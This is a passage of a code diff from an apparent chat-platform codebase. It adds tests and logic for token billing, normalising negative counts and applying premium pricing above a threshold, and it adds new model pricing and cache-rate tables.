Transaction.find({ user: userId }).lean(); + expect(txns).toHaveLength(2); // transactions still recorded + }); + + test('bulk path should not insert when transactions.enabled is false', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 10000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + await recordCollectedUsage(bulkDeps, { + user: userId.toString(), + conversationId: 'test-conversation-id', + model: 'gpt-3.5-turbo', + context: 'test', + balance: { enabled: true }, + transactions: { enabled: false }, + collectedUsage: [{ input_tokens: 100, output_tokens: 50, model: 'gpt-3.5-turbo' }], + }); + + const txns = await Transaction.find({ user: userId }).lean(); + expect(txns).toHaveLength(0); + const balance = await Balance.findOne({ user: userId }); + expect(balance.tokenCredits).toBe(initialBalance); + }); + + test('bulk path handles incomplete context for completion tokens — same CANCEL_RATE as legacy', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 17613154.55; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'claude-3-5-sonnet'; + const promptTokens = 10; + const completionTokens = 50; + + await recordCollectedUsage(bulkDeps, { + user: userId.toString(), + conversationId: 'test-convo', + model, + context: 'incomplete', + balance: { enabled: true }, + transactions: { enabled: true }, + collectedUsage: [{ input_tokens: promptTokens, output_tokens: completionTokens, model }], + }); + + const txns = await Transaction.find({ user: userId }).lean(); + const completionTx = txns.find((t) => t.tokenType === 'completion'); + const completionMultiplier = getMultiplier({ + model, + tokenType: 'completion', + inputTokenCount: promptTokens, + }); + expect(completionTx.tokenValue).toBeCloseTo(-completionTokens * completionMultiplier * 1.15, 0); + }); + + test('bulk path structured tokens — balance deduction matches legacy spendStructuredTokens', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 17613154.55; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'claude-3-5-sonnet'; + const promptInput = 11; + const promptWrite = 140522; + const promptRead = 0; + const completionTokens = 5; + const totalInput = promptInput + promptWrite + promptRead; + + await recordCollectedUsage(bulkDeps, { + user: userId.toString(), + conversationId: 'test-convo', + model, + context: 'message', + balance: { enabled: true }, + transactions: { enabled: true }, + collectedUsage: [ + { + input_tokens: promptInput, + output_tokens: completionTokens, + model, + input_token_details: { cache_creation: promptWrite, cache_read: promptRead }, + }, + ], + }); + + const promptMultiplier = getMultiplier({ + model, + tokenType: 'prompt', + inputTokenCount: totalInput, + }); + const completionMultiplier = getMultiplier({ + model, + tokenType: 'completion', + inputTokenCount: totalInput, + }); + const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' }) ?? promptMultiplier; + const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' }) ?? promptMultiplier; + + const expectedPromptCost = + promptInput * promptMultiplier + promptWrite * writeMultiplier + promptRead * readMultiplier; + const expectedCompletionCost = completionTokens * completionMultiplier; + const expectedTotalCost = expectedPromptCost + expectedCompletionCost; + const expectedBalance = initialBalance - expectedTotalCost; + + const updatedBalance = await Balance.findOne({ user: userId }); + expect(Math.abs(updatedBalance.tokenCredits - expectedBalance)).toBeLessThan(100); + }); + + test('premium pricing above threshold via bulk path — same balance as legacy', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'claude-opus-4-6'; + const promptTokens = 250000; + const completionTokens = 500; + + await recordCollectedUsage(bulkDeps, { + user: userId.toString(), + conversationId: 'test-premium', + model, + context: 'test', + balance: { enabled: true }, + transactions: { enabled: true }, + collectedUsage: [{ input_tokens: promptTokens, output_tokens: completionTokens, model }], + }); + + const premiumPromptRate = premiumTokenValues[model].prompt; + const premiumCompletionRate = premiumTokenValues[model].completion; + const expectedCost = + promptTokens * premiumPromptRate + completionTokens * premiumCompletionRate; + + const updatedBalance = await Balance.findOne({ user: userId }); + expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0); + }); + + test('real-world multi-entry batch: 5 sequential tool calls — same total deduction as 5 legacy spendTokens calls', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'claude-opus-4-5-20251101'; + const calls = [ + { input_tokens: 31596, output_tokens: 151 }, + { input_tokens: 35368, output_tokens: 150 }, + { input_tokens: 58362, output_tokens: 295 }, + { input_tokens: 112604, output_tokens: 193 }, + { input_tokens: 257440, output_tokens: 2217 }, + ]; + + let expectedTotalCost = 0; + for (const { input_tokens, output_tokens } of calls) { + const pm = getMultiplier({ model, tokenType: 'prompt', inputTokenCount: input_tokens }); + const cm = getMultiplier({ model, tokenType: 'completion', inputTokenCount: input_tokens }); + expectedTotalCost += input_tokens * pm + output_tokens * cm; + } + + await recordCollectedUsage(bulkDeps, { + user: userId.toString(), + conversationId: 'test-sequential', + model, + context: 'message', + balance: { enabled: true }, + transactions: { enabled: true }, + collectedUsage: calls.map((c) => ({ ...c, model })), + }); + + const txns = await Transaction.find({ user: userId }).lean(); + expect(txns).toHaveLength(10); // 5 calls × 2 docs (prompt + completion) + + const updatedBalance = await Balance.findOne({ user: userId }); + expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0); + }); + + test('bulk path should save transaction but not update balance when balance disabled, transactions enabled', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 10000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + await recordCollectedUsage(bulkDeps, { + user: userId.toString(), + conversationId: 'test-conversation-id', + model: 'gpt-3.5-turbo', + context: 'test', + balance: { enabled: false }, + transactions: { enabled: true }, + collectedUsage: [{ input_tokens: 100, output_tokens: 50, model: 'gpt-3.5-turbo' }], + }); + + const txns = await Transaction.find({ user: userId }).lean(); + expect(txns).toHaveLength(2); + expect(txns[0].rawAmount).toBeDefined(); + const balance = await Balance.findOne({ user: userId }); + expect(balance.tokenCredits).toBe(initialBalance); + }); + + test('bulk path structured tokens should not save when transactions.enabled is false', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 10000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + await recordCollectedUsage(bulkDeps, { + user: userId.toString(), + conversationId: 'test-conversation-id', + model: 'claude-3-5-sonnet', + context: 'message', + balance: { enabled: true }, + transactions: { enabled: false }, + collectedUsage: [ + { + input_tokens: 10, + output_tokens: 5, + model: 'claude-3-5-sonnet', + input_token_details: { cache_creation: 100, cache_read: 5 }, + }, + ], + }); + + const txns = await Transaction.find({ user: userId }).lean(); + expect(txns).toHaveLength(0); + const balance = await Balance.findOne({ user: userId }); + expect(balance.tokenCredits).toBe(initialBalance); + }); + + test('bulk path structured tokens should save but not update balance when balance disabled', async () => { + const userId = new mongoose.Types.ObjectId(); + const initialBalance = 10000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + await recordCollectedUsage(bulkDeps, { + user: userId.toString(), + conversationId: 'test-conversation-id', + model: 'claude-3-5-sonnet', + context: 'message', + balance: { enabled: false }, + transactions: { enabled: true }, + collectedUsage: [ + { + input_tokens: 10, + output_tokens: 5, + model: 'claude-3-5-sonnet', + input_token_details: { cache_creation: 100, cache_read: 5 }, + }, + ], + }); + + const txns = await Transaction.find({ user: userId }).lean(); + expect(txns).toHaveLength(2); + const promptTx = txns.find((t) => t.tokenType === 'prompt'); + expect(promptTx.inputTokens).toBe(-10); + expect(promptTx.writeTokens).toBe(-100); + expect(promptTx.readTokens).toBe(-5); + const balance = await Balance.findOne({ user: userId }); + expect(balance.tokenCredits).toBe(initialBalance); + }); +}); diff --git a/api/models/spendTokens.js b/api/models/spendTokens.js index cfd983f6bb..afe05969d8 100644 --- a/api/models/spendTokens.js +++ b/api/models/spendTokens.js @@ -24,12 +24,14 @@ const spendTokens = async (txData, tokenUsage) => { }, ); let prompt, completion; + const normalizedPromptTokens = Math.max(promptTokens ?? 0, 0); try { if (promptTokens !== undefined) { prompt = await createTransaction({ ...txData, tokenType: 'prompt', - rawAmount: promptTokens === 0 ? 0 : -Math.max(promptTokens, 0), + rawAmount: promptTokens === 0 ? 0 : -normalizedPromptTokens, + inputTokenCount: normalizedPromptTokens, }); } @@ -38,6 +40,7 @@ const spendTokens = async (txData, tokenUsage) => { ...txData, tokenType: 'completion', rawAmount: completionTokens === 0 ? 0 : -Math.max(completionTokens, 0), + inputTokenCount: normalizedPromptTokens, }); } @@ -87,21 +90,31 @@ const spendStructuredTokens = async (txData, tokenUsage) => { let prompt, completion; try { if (promptTokens) { - const { input = 0, write = 0, read = 0 } = promptTokens; + const input = Math.max(promptTokens.input ?? 0, 0); + const write = Math.max(promptTokens.write ?? 0, 0); + const read = Math.max(promptTokens.read ?? 0, 0); + const totalInputTokens = input + write + read; prompt = await createStructuredTransaction({ ...txData, tokenType: 'prompt', inputTokens: -input, writeTokens: -write, readTokens: -read, + inputTokenCount: totalInputTokens, }); } if (completionTokens) { + const totalInputTokens = promptTokens + ? Math.max(promptTokens.input ?? 0, 0) + + Math.max(promptTokens.write ?? 0, 0) + + Math.max(promptTokens.read ?? 0, 0) + : undefined; completion = await createTransaction({ ...txData, tokenType: 'completion', - rawAmount: -completionTokens, + rawAmount: -Math.max(completionTokens, 0), + inputTokenCount: totalInputTokens, }); } diff --git a/api/models/spendTokens.spec.js b/api/models/spendTokens.spec.js index eee6572736..dfeec5ee83 100644 --- a/api/models/spendTokens.spec.js +++ b/api/models/spendTokens.spec.js @@ -1,7 +1,8 @@ const mongoose = require('mongoose'); const { MongoMemoryServer } = require('mongodb-memory-server'); -const { spendTokens, spendStructuredTokens } = require('./spendTokens'); const { createTransaction, createAutoRefillTransaction } = require('./Transaction'); +const { tokenValues, premiumTokenValues, getCacheMultiplier } = require('./tx'); +const { spendTokens, spendStructuredTokens } = require('./spendTokens'); require('~/db/models'); @@ -734,4 +735,457 @@ describe('spendTokens', () => { expect(balance).toBeDefined(); expect(balance.tokenCredits).toBeLessThan(10000); // Balance should be reduced }); + + describe('premium token pricing', () => { + it('should charge standard rates for claude-opus-4-6 when prompt tokens are below threshold', async () => { + const initialBalance = 100000000; + await Balance.create({ + user: userId, + tokenCredits: initialBalance, + }); + + const model = 'claude-opus-4-6'; + const promptTokens = 100000; + const completionTokens = 500; + + const txData = { + user: userId, + conversationId: 'test-standard-pricing', + model, + context: 'test', + balance: { enabled: true }, + }; + + await spendTokens(txData, { promptTokens, completionTokens }); + + const expectedCost = + promptTokens * tokenValues[model].prompt + completionTokens * tokenValues[model].completion; + + const balance = await Balance.findOne({ user: userId }); + expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0); + }); + + it('should charge premium rates for claude-opus-4-6 when prompt tokens exceed threshold', async () => { + const initialBalance = 100000000; + await Balance.create({ + user: userId, + tokenCredits: initialBalance, + }); + + const model = 'claude-opus-4-6'; + const promptTokens = 250000; + const completionTokens = 500; + + const txData = { + user: userId, + conversationId: 'test-premium-pricing', + model, + context: 'test', + balance: { enabled: true }, + }; + + await spendTokens(txData, { promptTokens, completionTokens }); + + const expectedCost = + promptTokens * premiumTokenValues[model].prompt + + completionTokens * premiumTokenValues[model].completion; + + const balance = await Balance.findOne({ user: userId }); + expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0); + }); + + it('should charge premium rates for both prompt and completion in structured tokens when above threshold', async () => { + const initialBalance = 100000000; + await Balance.create({ + user: userId, + tokenCredits: initialBalance, + }); + + const model = 'claude-opus-4-6'; + const txData = { + user: userId, + conversationId: 'test-structured-premium', + model, + context: 'test', + balance: { enabled: true }, + }; + + const tokenUsage = { + promptTokens: { + input: 200000, + write: 10000, + read: 5000, + }, + completionTokens: 1000, + }; + + const result = await spendStructuredTokens(txData, tokenUsage); + + const premiumPromptRate = premiumTokenValues[model].prompt; + const premiumCompletionRate = premiumTokenValues[model].completion; + const writeRate = getCacheMultiplier({ model, cacheType: 'write' }); + const readRate = getCacheMultiplier({ model, cacheType: 'read' }); + + const expectedPromptCost = + tokenUsage.promptTokens.input * premiumPromptRate + + tokenUsage.promptTokens.write * writeRate + + tokenUsage.promptTokens.read * readRate; + const expectedCompletionCost = tokenUsage.completionTokens * premiumCompletionRate; + + expect(result.prompt.prompt).toBeCloseTo(-expectedPromptCost, 0); + expect(result.completion.completion).toBeCloseTo(-expectedCompletionCost, 0); + }); + + it('should charge standard rates for structured tokens when below threshold', async () => { + const initialBalance = 100000000; + await Balance.create({ + user: userId, + tokenCredits: initialBalance, + }); + + const model = 'claude-opus-4-6'; + const txData = { + user: userId, + conversationId: 'test-structured-standard', + model, + context: 'test', + balance: { enabled: true }, + }; + + const tokenUsage = { + promptTokens: { + input: 50000, + write: 10000, + read: 5000, + }, + completionTokens: 1000, + }; + + const result = await spendStructuredTokens(txData, tokenUsage); + + const standardPromptRate = tokenValues[model].prompt; + const standardCompletionRate = tokenValues[model].completion; + const writeRate = getCacheMultiplier({ model, cacheType: 'write' }); + const readRate = getCacheMultiplier({ model, cacheType: 'read' }); + + const expectedPromptCost = + tokenUsage.promptTokens.input * standardPromptRate + + tokenUsage.promptTokens.write * writeRate + + tokenUsage.promptTokens.read * readRate; + const expectedCompletionCost = tokenUsage.completionTokens * standardCompletionRate; + + expect(result.prompt.prompt).toBeCloseTo(-expectedPromptCost, 0); + expect(result.completion.completion).toBeCloseTo(-expectedCompletionCost, 0); + }); + + it('should charge standard rates for gemini-3.1-pro-preview when prompt tokens are below threshold', async () => { + const initialBalance = 100000000; + await Balance.create({ + user: userId, + tokenCredits: initialBalance, + }); + + const model = 'gemini-3.1-pro-preview'; + const promptTokens = 100000; + const completionTokens = 500; + + const txData = { + user: userId, + conversationId: 'test-gemini31-standard-pricing', + model, + context: 'test', + balance: { enabled: true }, + }; + + await spendTokens(txData, { promptTokens, completionTokens }); + + const expectedCost = + promptTokens * tokenValues['gemini-3.1'].prompt + + completionTokens * tokenValues['gemini-3.1'].completion; + + const balance = await Balance.findOne({ user: userId }); + expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0); + }); + + it('should charge premium rates for gemini-3.1-pro-preview when prompt tokens exceed threshold', async () => { + const initialBalance = 100000000; + await Balance.create({ + user: userId, + tokenCredits: initialBalance, + }); + + const model = 'gemini-3.1-pro-preview'; + const promptTokens = 250000; + const completionTokens = 500; + + const txData = { + user: userId, + conversationId: 'test-gemini31-premium-pricing', + model, + context: 'test', + balance: { enabled: true }, + }; + + await spendTokens(txData, { promptTokens, completionTokens }); + + const expectedCost = + promptTokens * premiumTokenValues['gemini-3.1'].prompt + + completionTokens * premiumTokenValues['gemini-3.1'].completion; + + const balance = await Balance.findOne({ user: userId }); + expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0); + }); + + it('should charge premium rates for gemini-3.1-pro-preview-customtools when prompt tokens exceed threshold', async () => { + const initialBalance = 100000000; + await Balance.create({ + user: userId, + tokenCredits: initialBalance, + }); + + const model = 'gemini-3.1-pro-preview-customtools'; + const promptTokens = 250000; + const completionTokens = 500; + + const txData = { + user: userId, + conversationId: 'test-gemini31-customtools-premium', + model, + context: 'test', + balance: { enabled: true }, + }; + + await spendTokens(txData, { promptTokens, completionTokens }); + + const expectedCost = + promptTokens * premiumTokenValues['gemini-3.1'].prompt + + completionTokens * premiumTokenValues['gemini-3.1'].completion; + + const balance = await Balance.findOne({ user: userId }); + expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0); + }); + + it('should charge premium rates for structured gemini-3.1 tokens when total input exceeds threshold', async () => { + const initialBalance = 100000000; + await Balance.create({ + user: userId, + tokenCredits: initialBalance, + }); + + const model = 'gemini-3.1-pro-preview'; + const txData = { + user: userId, + conversationId: 'test-gemini31-structured-premium', + model, + context: 'test', + balance: { enabled: true }, + }; + + const tokenUsage = { + promptTokens: { + input: 200000, + write: 10000, + read: 5000, + }, + completionTokens: 1000, + }; + + const result = await spendStructuredTokens(txData, tokenUsage); + + const premiumPromptRate = premiumTokenValues['gemini-3.1'].prompt; + const premiumCompletionRate = premiumTokenValues['gemini-3.1'].completion; + const writeRate = getCacheMultiplier({ model, cacheType: 'write' }); + const readRate = getCacheMultiplier({ model, cacheType: 'read' }); + + const expectedPromptCost = + tokenUsage.promptTokens.input * premiumPromptRate + + tokenUsage.promptTokens.write * writeRate + + tokenUsage.promptTokens.read * readRate; + const expectedCompletionCost = tokenUsage.completionTokens * premiumCompletionRate; + + expect(result.prompt.prompt).toBeCloseTo(-expectedPromptCost, 0); + expect(result.completion.completion).toBeCloseTo(-expectedCompletionCost, 0); + }); + + it('should not apply premium pricing to non-premium models regardless of prompt size', async () => { + const initialBalance = 100000000; + await Balance.create({ + user: userId, + tokenCredits: initialBalance, + }); + + const model = 'claude-opus-4-5'; + const promptTokens = 300000; + const completionTokens = 500; + + const txData = { + user: userId, + conversationId: 'test-no-premium', + model, + context: 'test', + balance: { enabled: true }, + }; + + await spendTokens(txData, { promptTokens, completionTokens }); + + const expectedCost = + promptTokens * tokenValues[model].prompt + completionTokens * tokenValues[model].completion; + + const balance = await Balance.findOne({ user: userId }); + expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0); + }); + }); + + describe('inputTokenCount Normalization', () => { + it('should normalize negative promptTokens to zero for inputTokenCount', async () => { + await Balance.create({ + user: userId, + tokenCredits: 100000000, + }); + + const txData = { + user: userId, + conversationId: 'test-negative-prompt', + model: 'claude-opus-4-6', + context: 'test', + balance: { enabled: true }, + }; + + await spendTokens(txData, { promptTokens: -500, completionTokens: 100 }); + + const transactions = await Transaction.find({ user: userId }).sort({ tokenType: 1 }); + + const completionTx = transactions.find((t) => t.tokenType === 'completion'); + const promptTx = transactions.find((t) => t.tokenType === 'prompt'); + + expect(Math.abs(promptTx.rawAmount)).toBe(0); + expect(completionTx.rawAmount).toBe(-100); + + const standardCompletionRate = tokenValues['claude-opus-4-6'].completion; + expect(completionTx.rate).toBe(standardCompletionRate); + }); + + it('should use normalized inputTokenCount for premium threshold check on completion', async () => { + const initialBalance = 100000000; + await Balance.create({ + user: userId, + tokenCredits: initialBalance, + }); + + const model = 'claude-opus-4-6'; + const promptTokens = 250000; + const completionTokens = 500; + + const txData = { + user: userId, + conversationId: 'test-normalized-premium', + model, + context: 'test', + balance: { enabled: true }, + }; + + await spendTokens(txData, { promptTokens, completionTokens }); + + const transactions = await Transaction.find({ user: userId }).sort({ tokenType: 1 }); + const completionTx = transactions.find((t) => t.tokenType === 'completion'); + const promptTx = transactions.find((t) => t.tokenType === 'prompt'); + + const premiumPromptRate = premiumTokenValues[model].prompt; + const premiumCompletionRate = premiumTokenValues[model].completion; + expect(promptTx.rate).toBe(premiumPromptRate); + expect(completionTx.rate).toBe(premiumCompletionRate); + }); + + it('should keep inputTokenCount as zero when promptTokens is zero', async () => { + await Balance.create({ + user: userId, + tokenCredits: 100000000, + }); + + const txData = { + user: userId, + conversationId: 'test-zero-prompt', + model: 'claude-opus-4-6', + context: 'test', + balance: { enabled: true }, + }; + + await spendTokens(txData, { promptTokens: 0, completionTokens: 100 }); + + const transactions = await Transaction.find({ user: userId }).sort({ tokenType: 1 }); + const completionTx = transactions.find((t) => t.tokenType === 'completion'); + const promptTx = transactions.find((t) => t.tokenType === 'prompt'); + + expect(Math.abs(promptTx.rawAmount)).toBe(0); + + const standardCompletionRate = tokenValues['claude-opus-4-6'].completion; + expect(completionTx.rate).toBe(standardCompletionRate); + }); + + it('should not trigger premium pricing with negative promptTokens on premium model', async () => { + const initialBalance = 100000000; + await Balance.create({ + user: userId, + tokenCredits: initialBalance, + }); + + const model = 'claude-opus-4-6'; + const txData = { + user: userId, + conversationId: 'test-negative-no-premium', + model, + context: 'test', + balance: { enabled: true }, + }; + + await spendTokens(txData, { promptTokens: -300000, completionTokens: 500 }); + + const transactions = await Transaction.find({ user: userId }).sort({ tokenType: 1 }); + const completionTx = transactions.find((t) => t.tokenType === 'completion'); + + const standardCompletionRate = tokenValues[model].completion; + expect(completionTx.rate).toBe(standardCompletionRate); + }); + + it('should normalize negative structured token values to zero in spendStructuredTokens', async () => { + const initialBalance = 100000000; + await Balance.create({ + user: userId, + tokenCredits: initialBalance, + }); + + const model = 'claude-opus-4-6'; + const txData = { + user: userId, + conversationId: 'test-negative-structured', + model, + context: 'test', + balance: { enabled: true }, + }; + + const tokenUsage = { + promptTokens: { input: -100, write: 50, read: -30 }, + completionTokens: -200, + }; + + await spendStructuredTokens(txData, tokenUsage); + + const transactions = await Transaction.find({ + user: userId, + conversationId: 'test-negative-structured', + }).sort({ tokenType: 1 }); + + const completionTx = transactions.find((t) => t.tokenType === 'completion'); + const promptTx = transactions.find((t) => t.tokenType === 'prompt'); + + expect(Math.abs(promptTx.inputTokens)).toBe(0); + expect(promptTx.writeTokens).toBe(-50); + expect(Math.abs(promptTx.readTokens)).toBe(0); + + expect(Math.abs(completionTx.rawAmount)).toBe(0); + + const standardRate = tokenValues[model].completion; + expect(completionTx.rate).toBe(standardRate); + }); + }); }); diff --git a/api/models/tx.js b/api/models/tx.js index 6ff105a458..ce14fad3a0 100644 --- a/api/models/tx.js +++ b/api/models/tx.js @@ -1,10 +1,27 @@ const { matchModelName, findMatchingPattern } = require('@librechat/api'); const defaultRate = 6; +/** + * Token Pricing Configuration + * + * Pattern Matching + * ================ + * `findMatchingPattern` (from @librechat/api) uses `modelName.includes(key)` and selects + * the LONGEST matching key. If a key's length equals the model name's length (exact match), + * it returns immediately. Definition order does NOT affect correctness. + * + * Key ordering matters only for: + * 1. Performance: list older/less common models first so newer/common models + * are found earlier in the reverse scan. + * 2. Same-length tie-breaking: the last-defined key wins on equal-length matches. + * + * This applies to BOTH `tokenValues` and `cacheTokenValues` objects. + */ + /** * AWS Bedrock pricing * source: https://aws.amazon.com/bedrock/pricing/ - * */ + */ const bedrockValues = { // Basic llama2 patterns (base defaults to smallest variant) llama2: { prompt: 0.75, completion: 1.0 }, @@ -80,6 +97,11 @@ const bedrockValues = { 'nova-pro': { prompt: 0.8, completion: 3.2 }, 'nova-premier': { prompt: 2.5, completion: 12.5 }, 'deepseek.r1': { prompt: 1.35, completion: 5.4 }, + // Moonshot/Kimi models on Bedrock + 'moonshot.kimi': { prompt: 0.6, completion: 2.5 }, + 'moonshot.kimi-k2': { prompt: 0.6, completion: 2.5 }, + 'moonshot.kimi-k2.5': { prompt: 0.6, completion: 3.0 }, + 'moonshot.kimi-k2-thinking': { prompt: 0.6, completion: 2.5 }, }; /** @@ -115,9 +137,14 @@ const tokenValues = Object.assign( 'gpt-5': { prompt: 1.25, completion: 10 }, 'gpt-5.1': { prompt: 1.25, completion: 10 }, 'gpt-5.2': { prompt: 1.75, completion: 14 }, + 'gpt-5.3': { prompt: 1.75, completion: 14 }, + 'gpt-5.4': { prompt: 2.5, completion: 15 }, + // TODO: gpt-5.4-pro pricing not yet officially published — verify before release + 'gpt-5.4-pro': { prompt: 5, completion: 30 }, 'gpt-5-nano': { prompt: 0.05, completion: 0.4 }, 'gpt-5-mini': { prompt: 0.25, completion: 2 }, 'gpt-5-pro': { prompt: 15, completion: 120 }, + 'gpt-5.2-pro': { prompt: 21, completion: 168 }, o1: { prompt: 15, completion: 60 }, 'o1-mini': { prompt: 1.1, completion: 4.4 }, 'o1-preview': { prompt: 15, completion: 60 }, @@ -139,7 +166,9 @@ const tokenValues = Object.assign( 'claude-haiku-4-5': { prompt: 1, completion: 5 }, 'claude-opus-4': { prompt: 15, completion: 75 }, 'claude-opus-4-5': { prompt: 5, completion: 25 }, + 'claude-opus-4-6': { prompt: 5, completion: 25 }, 'claude-sonnet-4': { prompt: 3, completion: 15 }, + 'claude-sonnet-4-6': { prompt: 3, completion: 15 }, 'command-r': { prompt: 0.5, completion: 1.5 }, 'command-r-plus': { prompt: 3, completion: 15 }, 'command-text': { prompt: 1.5, completion: 2.0 }, @@ -163,6 +192,8 @@ const tokenValues = Object.assign( 'gemini-2.5-flash-image': { prompt: 0.15, completion: 30 }, 'gemini-3': { prompt: 2, completion: 12 }, 'gemini-3-pro-image': { prompt: 2, completion: 120 }, + 'gemini-3.1': { prompt: 2, completion: 12 }, + 'gemini-3.1-flash-lite': { prompt: 0.25, completion: 1.5 }, 'gemini-pro-vision': { prompt: 0.5, completion: 1.5 }, grok: { prompt: 2.0, completion: 10.0 }, // Base pattern defaults to grok-2 'grok-beta': { prompt: 5.0, completion: 15.0 }, @@ -189,7 +220,31 @@ const tokenValues = Object.assign( 'pixtral-large': { prompt: 2.0, completion: 6.0 }, 'mistral-large': { prompt: 2.0, completion: 6.0 }, 'mixtral-8x22b': { prompt: 0.65, completion: 0.65 }, - kimi: { prompt: 0.14, completion: 2.49 }, // Base pattern (using kimi-k2 pricing) + // Moonshot/Kimi models (base patterns first, specific patterns last for correct matching) + kimi: { prompt: 0.6, completion: 2.5 }, // Base pattern + moonshot: { prompt: 2.0, completion: 5.0 }, // Base pattern (using 128k pricing) + 'kimi-latest': { prompt: 0.2, completion: 2.0 }, // Uses 8k/32k/128k pricing dynamically + 'kimi-k2': { prompt: 0.6, completion: 2.5 }, + 'kimi-k2.5': { prompt: 0.6, completion: 3.0 }, + 'kimi-k2-turbo': { prompt: 1.15, completion: 8.0 }, + 'kimi-k2-turbo-preview': { prompt: 1.15, completion: 8.0 }, + 'kimi-k2-0905': { prompt: 0.6, completion: 2.5 }, + 'kimi-k2-0905-preview': { prompt: 0.6, completion: 2.5 }, + 'kimi-k2-0711': { prompt: 0.6, completion: 2.5 }, + 'kimi-k2-0711-preview': { prompt: 0.6, completion: 2.5 }, + 'kimi-k2-thinking': { prompt: 0.6, completion: 2.5 }, + 'kimi-k2-thinking-turbo': { prompt: 1.15, completion: 8.0 }, + 'moonshot-v1': { prompt: 2.0, completion: 5.0 }, + 'moonshot-v1-auto': { prompt: 2.0, completion: 5.0 }, + 'moonshot-v1-8k': { prompt: 0.2, completion: 2.0 }, + 'moonshot-v1-8k-vision': { prompt: 0.2, completion: 2.0 }, + 'moonshot-v1-8k-vision-preview': { prompt: 0.2, completion: 2.0 }, + 'moonshot-v1-32k': { prompt: 1.0, completion: 3.0 }, + 'moonshot-v1-32k-vision': { prompt: 1.0, completion: 3.0 }, + 'moonshot-v1-32k-vision-preview': { prompt: 1.0, completion: 3.0 }, + 'moonshot-v1-128k': { prompt: 2.0, completion: 5.0 }, + 'moonshot-v1-128k-vision': { prompt: 2.0, completion: 5.0 }, + 'moonshot-v1-128k-vision-preview': { prompt: 2.0, completion: 5.0 }, // GPT-OSS models (specific sizes) 'gpt-oss:20b': { prompt: 0.05, completion: 0.2 }, 'gpt-oss-20b': { prompt: 0.05, completion: 0.2 }, @@ -249,12 +304,64 @@ const cacheTokenValues = { 'claude-3-haiku': { write: 0.3, read: 0.03 }, 'claude-haiku-4-5': { write: 1.25, read: 0.1 }, 'claude-sonnet-4': { write: 3.75, read: 0.3 }, + 'claude-sonnet-4-6': { write: 3.75, read: 0.3 }, 'claude-opus-4': { write: 18.75, read: 1.5 }, 'claude-opus-4-5': { write: 6.25, read: 0.5 }, + 'claude-opus-4-6': { write: 6.25, read: 0.5 }, + // OpenAI models — cached input discount varies by family: + // gpt-4o (incl. mini), o1 (incl. mini/preview): 50% off + // gpt-4.1 (incl. mini/nano), o3 (incl. mini), o4-mini: 75% off + // gpt-5.x (excl. pro variants): 90% off + // gpt-5-pro, gpt-5.2-pro, gpt-5.4-pro: no caching + 'gpt-4o': { write: 2.5, read: 1.25 }, + 'gpt-4o-mini': { write: 0.15, read: 0.075 }, + 'gpt-4.1': { write: 2, read: 0.5 }, + 'gpt-4.1-mini': { write: 0.4, read: 0.1 }, + 'gpt-4.1-nano': { write: 0.1, read: 0.025 }, + 'gpt-5': { write: 1.25, read: 0.125 }, + 'gpt-5.1': { write: 1.25, read: 0.125 }, + 'gpt-5.2': { write: 1.75, read: 0.175 }, + 'gpt-5.3': { write: 1.75, read: 0.175 }, + 'gpt-5.4': { write: 2.5, read: 0.25 }, + 'gpt-5-mini': { write: 0.25, read: 0.025 }, + 'gpt-5-nano': { write: 0.05, read: 0.005 }, + o1: { write: 15, read: 7.5 }, + 'o1-mini': { write: 1.1, read: 0.55 }, + 'o1-preview': { write: 15, read: 7.5 }, + o3: { write: 2, read: 0.5 }, + 'o3-mini': { write: 1.1, read: 0.275 }, + 'o4-mini': { write: 1.1, read: 0.275 }, // DeepSeek models - cache hit: $0.028/1M, cache miss: $0.28/1M deepseek: { write: 0.28, read: 0.028 }, 'deepseek-chat': { write: 0.28, read: 0.028 }, 'deepseek-reasoner': { write: 0.28, read: 0.028 }, + // Moonshot/Kimi models - cache hit: $0.15/1M (k2) or $0.10/1M (k2.5), cache miss: $0.60/1M + kimi: { write: 0.6, read: 0.15 }, + 'kimi-k2': { write: 0.6, read: 0.15 }, + 'kimi-k2.5': { write: 0.6, read: 0.1 }, + 'kimi-k2-turbo': { write: 1.15, read: 0.15 }, + 'kimi-k2-turbo-preview': { write: 1.15, read: 0.15 }, + 'kimi-k2-0905': { write: 0.6, read: 0.15 }, + 'kimi-k2-0905-preview': { write: 0.6, read: 0.15 }, + 'kimi-k2-0711': { write: 0.6, read: 0.15 }, + 'kimi-k2-0711-preview': { write: 0.6, read: 0.15 }, + 'kimi-k2-thinking': { write: 0.6, read: 0.15 }, + 'kimi-k2-thinking-turbo': { write: 1.15, read: 0.15 }, + // Gemini 3.1 Pro - cache write: $2.00/1M, cache read: $0.20/1M + 'gemini-3.1': { write: 2, read: 0.2 }, + // Gemini 3.1 Flash-Lite - cache write: $0.25/1M, cache read: $0.025/1M + 'gemini-3.1-flash-lite': { write: 0.25, read: 0.025 }, +}; + +/** + * Premium (tiered) pricing for models whose rates change based on prompt size. + * Each entry specifies the token threshold and the rates that apply above it. + * @type {Object.} + */ +const premiumTokenValues = { + 'claude-opus-4-6': { threshold: 200000, prompt: 10, 